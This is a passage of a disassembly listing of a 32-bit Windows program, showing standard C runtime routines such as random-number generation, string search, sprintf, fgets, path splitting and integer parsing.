var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_428EE0
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	edx, [ebp+var_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		shr	eax, 10h
		and	eax, 7FFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_41EB70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EBB0	proc near		; CODE XREF: sub_401404+12Ap
					; sub_401C87+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41EC2A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41EC17

loc_41EBC8:				; CODE XREF: sub_41EBB0+52j
					; sub_41EBB0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41EBEA
		test	al, al
		jz	short loc_41EBE4

loc_41EBD9:				; CODE XREF: sub_41EBB0+32j
		mov	al, [esi]
		inc	esi

loc_41EBDC:				; CODE XREF: sub_41EBB0+3Fj
		cmp	al, dl
		jz	short loc_41EBEA
		test	al, al
		jnz	short loc_41EBD9

loc_41EBE4:				; CODE XREF: sub_41EBB0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41EBEA:				; CODE XREF: sub_41EBB0+23j
					; sub_41EBB0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41EBDC
		lea	edi, [esi-1]

loc_41EBF4:				; CODE XREF: sub_41EBB0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41EC23
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41EBC8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41EC23
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41EBF4
		jmp	short loc_41EBC8
; ---------------------------------------------------------------------------

loc_41EC17:				; CODE XREF: sub_41EBB0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41F726
; ---------------------------------------------------------------------------

loc_41EC23:				; CODE XREF: sub_41EBB0+49j
					; sub_41EBB0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41EC2A:				; CODE XREF: sub_41EBB0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41EBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC30	proc near		; CODE XREF: sub_401404+117p
					; sub_401C87+1C23p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_C]
		mov	[ebp+var_2C], ecx

loc_41EC45:				; CODE XREF: sub_41EC30+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EC69
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EC69
		int	3		; Trap to Debugger

loc_41EC69:				; CODE XREF: sub_41EC30+19j
					; sub_41EC30+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41EC45

loc_41EC6F:				; CODE XREF: sub_41EC30+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41EC93
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EC93
		int	3		; Trap to Debugger

loc_41EC93:				; CODE XREF: sub_41EC30+43j
					; sub_41EC30+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EC6F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_427F60
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_24]
		cmp	dword ptr [edx+4], 0
		jl	short loc_41ED0E
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	byte ptr [ecx],	0
		xor	edx, edx
		and	edx, 0FFh
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+var_24]
		mov	[edx], ecx
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------

loc_41ED0E:				; CODE XREF: sub_41EC30+BAj
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_427CE0
		add	esp, 8
		mov	[ebp+var_30], eax

loc_41ED1F:				; CODE XREF: sub_41EC30+DCj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EC30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED30	proc near		; CODE XREF: sub_401404+F7p
					; sub_401C87+2175p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BC70
		add	esp, 4
		cmp	eax, 1
		jb	short loc_41ED8B
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+1]
		cmp	edx, 3Ah
		jnz	short loc_41ED8B
		cmp	[ebp+arg_4], 0
		jz	short loc_41ED80
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4298C0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+2], 0

loc_41ED80:				; CODE XREF: sub_41ED30+35j
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		jmp	short loc_41ED97
; ---------------------------------------------------------------------------

loc_41ED8B:				; CODE XREF: sub_41ED30+23j
					; sub_41ED30+2Fj
		cmp	[ebp+arg_4], 0
		jz	short loc_41ED97
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	0

loc_41ED97:				; CODE XREF: sub_41ED30+59j
					; sub_41ED30+5Fj
		mov	[ebp+var_C], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		jmp	short loc_41EDAF
; ---------------------------------------------------------------------------

loc_41EDA6:				; CODE XREF: sub_41ED30:loc_41EE0Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_41EDAF:				; CODE XREF: sub_41ED30+74j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41EE0E
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		xor	edx, edx
		mov	dl, byte_4F39A1[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_41EDDA
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41EE0C
; ---------------------------------------------------------------------------

loc_41EDDA:				; CODE XREF: sub_41ED30+9Dj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_41EDF0
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Ch
		jnz	short loc_41EDFB

loc_41EDF0:				; CODE XREF: sub_41ED30+B3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_41EE0C
; ---------------------------------------------------------------------------

loc_41EDFB:				; CODE XREF: sub_41ED30+BEj
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_41EE0C
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx

loc_41EE0C:				; CODE XREF: sub_41ED30+A8j
					; sub_41ED30+C9j ...
		jmp	short loc_41EDA6
; ---------------------------------------------------------------------------

loc_41EE0E:				; CODE XREF: sub_41ED30+87j
		cmp	[ebp+var_C], 0
		jz	short loc_41EE64
		cmp	[ebp+arg_8], 0
		jz	short loc_41EE5C
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_41EE32
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		jmp	short loc_41EE39
; ---------------------------------------------------------------------------

loc_41EE32:				; CODE XREF: sub_41ED30+F5j
		mov	[ebp+var_14], 0FFh

loc_41EE39:				; CODE XREF: sub_41ED30+100j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_4298C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0

loc_41EE5C:				; CODE XREF: sub_41ED30+E8j
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ecx
		jmp	short loc_41EE70
; ---------------------------------------------------------------------------

loc_41EE64:				; CODE XREF: sub_41ED30+E2j
		cmp	[ebp+arg_8], 0
		jz	short loc_41EE70
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx],	0

loc_41EE70:				; CODE XREF: sub_41ED30+132j
					; sub_41ED30+138j
		cmp	[ebp+var_8], 0
		jz	loc_41EF1A
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_41EF1A
		cmp	[ebp+arg_C], 0
		jz	short loc_41EECF
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jnb	short loc_41EEA5
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		jmp	short loc_41EEAC
; ---------------------------------------------------------------------------

loc_41EEA5:				; CODE XREF: sub_41ED30+168j
		mov	[ebp+var_18], 0FFh

loc_41EEAC:				; CODE XREF: sub_41ED30+173j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_4298C0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	0

loc_41EECF:				; CODE XREF: sub_41ED30+15Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_41EF18
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_8]
		cmp	edx, 0FFh
		jnb	short loc_41EEEE
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_41EEF5
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41ED30+1B1j
		mov	[ebp+var_1C], 0FFh

loc_41EEF5:				; CODE XREF: sub_41ED30+1BCj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_4298C0
		add	esp, 0Ch
		mov	edx, [ebp+arg_10]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx],	0

loc_41EF18:				; CODE XREF: sub_41ED30+1A3j
		jmp	short loc_41EF6E
; ---------------------------------------------------------------------------

loc_41EF1A:				; CODE XREF: sub_41ED30+144j
					; sub_41ED30+150j
		cmp	[ebp+arg_C], 0
		jz	short loc_41EF62
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_41EF38
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EF38:				; CODE XREF: sub_41ED30+1FBj
		mov	[ebp+var_20], 0FFh

loc_41EF3F:				; CODE XREF: sub_41ED30+206j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_4298C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0

loc_41EF62:				; CODE XREF: sub_41ED30+1EEj
		cmp	[ebp+arg_10], 0
		jz	short loc_41EF6E
		mov	ecx, [ebp+arg_10]
		mov	byte ptr [ecx],	0

loc_41EF6E:				; CODE XREF: sub_41ED30:loc_41EF18j
					; sub_41ED30+236j
		mov	esp, ebp
		pop	ebp
		retn
sub_41ED30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EF80	proc near		; CODE XREF: sub_401B0B+8p
					; sub_401C87+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41EFA0

loc_41EF8C:				; CODE XREF: sub_41EF80+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41EF8C

loc_41EFA0:				; CODE XREF: sub_41EF80+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41EF80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFB0	proc near		; CODE XREF: sub_401C87+75EFp
					; sub_401C87+761Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx

loc_41EFC5:				; CODE XREF: sub_41EFB0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EFE9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	3Bh
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EFE9
		int	3		; Trap to Debugger

loc_41EFE9:				; CODE XREF: sub_41EFB0+19j
					; sub_41EFB0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41EFC5

loc_41EFEF:				; CODE XREF: sub_41EFB0+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F013
		push	offset dword_43C514
		push	0
		push	3Ch
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F013
		int	3		; Trap to Debugger

loc_41F013:				; CODE XREF: sub_41EFB0+43j
					; sub_41EFB0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EFEF
		cmp	[ebp+arg_4], 0
		jg	short loc_41F026
		xor	eax, eax
		jmp	loc_41F0E7
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EFB0+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_422420
		add	esp, 4

loc_41F038:				; CODE XREF: sub_41EFB0:loc_41F0CDj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_41F0D2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41F083
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_41F092
; ---------------------------------------------------------------------------

loc_41F083:				; CODE XREF: sub_41EFB0+B1j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_427100
		add	esp, 4
		mov	[ebp+var_14], eax

loc_41F092:				; CODE XREF: sub_41EFB0+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_41F0B1
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41F0AF
		mov	[ebp+var_10], 0
		jmp	short loc_41F0D8
; ---------------------------------------------------------------------------

loc_41F0AF:				; CODE XREF: sub_41EFB0+F4j
		jmp	short loc_41F0D2
; ---------------------------------------------------------------------------

loc_41F0B1:				; CODE XREF: sub_41EFB0+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_41F0CD
		jmp	short loc_41F0D2
; ---------------------------------------------------------------------------

loc_41F0CD:				; CODE XREF: sub_41EFB0+119j
		jmp	loc_41F038
; ---------------------------------------------------------------------------

loc_41F0D2:				; CODE XREF: sub_41EFB0+95j
					; sub_41EFB0:loc_41F0AFj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0

loc_41F0D8:				; CODE XREF: sub_41EFB0+FDj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp+var_10]

loc_41F0E7:				; CODE XREF: sub_41EFB0+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F0F0	proc near		; CODE XREF: sub_426C90+1C3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F110
		add	esp, 10h
		pop	ebp
		retn
sub_41F0F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F110	proc near		; CODE XREF: sub_41F0F0+11p
					; sub_41F450+11p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_41F134:				; CODE XREF: sub_41F110+77j
		cmp	dword_453EB0, 1
		jle	short loc_41F156
		push	8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_18], eax
		jmp	short loc_41F170
; ---------------------------------------------------------------------------

loc_41F156:				; CODE XREF: sub_41F110+2Bj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8
		mov	[ebp+var_18], ecx

loc_41F170:				; CODE XREF: sub_41F110+44j
		cmp	[ebp+var_18], 0
		jz	short loc_41F189
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_41F134
; ---------------------------------------------------------------------------

loc_41F189:				; CODE XREF: sub_41F110+64j
		movsx	edx, byte ptr [ebp+var_8]
		cmp	edx, 2Dh
		jnz	short loc_41F1AD
		mov	eax, [ebp+arg_C]
		or	al, 2
		mov	[ebp+arg_C], eax
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41F1C7
; ---------------------------------------------------------------------------

loc_41F1AD:				; CODE XREF: sub_41F110+80j
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 2Bh
		jnz	short loc_41F1C7
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_41F1C7:				; CODE XREF: sub_41F110+9Bj
					; sub_41F110+A4j
		cmp	[ebp+arg_8], 0
		jl	short loc_41F1D9
		cmp	[ebp+arg_8], 1
		jz	short loc_41F1D9
		cmp	[ebp+arg_8], 24h
		jle	short loc_41F1EE

loc_41F1D9:				; CODE XREF: sub_41F110+BBj
					; sub_41F110+C1j
		cmp	[ebp+arg_4], 0
		jz	short loc_41F1E7
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax

loc_41F1E7:				; CODE XREF: sub_41F110+CDj
		xor	eax, eax
		jmp	loc_41F43D
; ---------------------------------------------------------------------------

loc_41F1EE:				; CODE XREF: sub_41F110+C7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F22C
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 30h
		jz	short loc_41F206
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41F22C
; ---------------------------------------------------------------------------

loc_41F206:				; CODE XREF: sub_41F110+EBj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 78h
		jz	short loc_41F21C
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 58h
		jnz	short loc_41F225

loc_41F21C:				; CODE XREF: sub_41F110+FFj
		mov	[ebp+arg_8], 10h
		jmp	short loc_41F22C
; ---------------------------------------------------------------------------

loc_41F225:				; CODE XREF: sub_41F110+10Aj
		mov	[ebp+arg_8], 8

loc_41F22C:				; CODE XREF: sub_41F110+E2j
					; sub_41F110+F4j ...
		cmp	[ebp+arg_8], 10h
		jnz	short loc_41F26B
		movsx	eax, byte ptr [ebp+var_8]
		cmp	eax, 30h
		jnz	short loc_41F26B
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 78h
		jz	short loc_41F251
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 58h
		jnz	short loc_41F26B

loc_41F251:				; CODE XREF: sub_41F110+134j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_41F26B:				; CODE XREF: sub_41F110+120j
					; sub_41F110+129j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], eax

loc_41F276:				; CODE XREF: sub_41F110+26Bj
		cmp	dword_453EB0, 1
		jle	short loc_41F297
		push	4
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_1C], eax
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F297:				; CODE XREF: sub_41F110+16Dj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_1C], eax

loc_41F2B2:				; CODE XREF: sub_41F110+185j
		cmp	[ebp+var_1C], 0
		jz	short loc_41F2C4
		movsx	ecx, byte ptr [ebp+var_8]
		sub	ecx, 30h
		mov	[ebp+var_14], ecx
		jmp	short loc_41F323
; ---------------------------------------------------------------------------

loc_41F2C4:				; CODE XREF: sub_41F110+1A6j
		cmp	dword_453EB0, 1
		jle	short loc_41F2E9
		push	103h
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		push	edx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_20], eax
		jmp	short loc_41F306
; ---------------------------------------------------------------------------

loc_41F2E9:				; CODE XREF: sub_41F110+1BBj
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 103h
		mov	[ebp+var_20], edx

loc_41F306:				; CODE XREF: sub_41F110+1D7j
		cmp	[ebp+var_20], 0
		jz	short loc_41F321
		movsx	eax, byte ptr [ebp+var_8]
		push	eax
		call	sub_429AC0
		add	esp, 4
		sub	eax, 37h
		mov	[ebp+var_14], eax
		jmp	short loc_41F323
; ---------------------------------------------------------------------------

loc_41F321:				; CODE XREF: sub_41F110+1FAj
		jmp	short loc_41F380
; ---------------------------------------------------------------------------

loc_41F323:				; CODE XREF: sub_41F110+1B2j
					; sub_41F110+20Fj
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+arg_8]
		jb	short loc_41F32D
		jmp	short loc_41F380
; ---------------------------------------------------------------------------

loc_41F32D:				; CODE XREF: sub_41F110+219j
		mov	edx, [ebp+arg_C]
		or	edx, 8
		mov	[ebp+arg_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jb	short loc_41F353
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_10]
		jnz	short loc_41F362
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	[ebp+var_14], edx
		ja	short loc_41F362

loc_41F353:				; CODE XREF: sub_41F110+22Cj
		mov	edx, [ebp+var_C]
		imul	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_C], edx
		jmp	short loc_41F36A
; ---------------------------------------------------------------------------

loc_41F362:				; CODE XREF: sub_41F110+234j
					; sub_41F110+241j
		mov	eax, [ebp+arg_C]
		or	al, 4
		mov	[ebp+arg_C], eax

loc_41F36A:				; CODE XREF: sub_41F110+250j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_41F276
; ---------------------------------------------------------------------------

loc_41F380:				; CODE XREF: sub_41F110:loc_41F321j
					; sub_41F110+21Bj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		and	edx, 8
		test	edx, edx
		jnz	short loc_41F3A8
		cmp	[ebp+arg_4], 0
		jz	short loc_41F39F
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41F39F:				; CODE XREF: sub_41F110+287j
		mov	[ebp+var_C], 0
		jmp	short loc_41F41A
; ---------------------------------------------------------------------------

loc_41F3A8:				; CODE XREF: sub_41F110+281j
		mov	ecx, [ebp+arg_C]
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_41F3E2
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jnz	short loc_41F41A
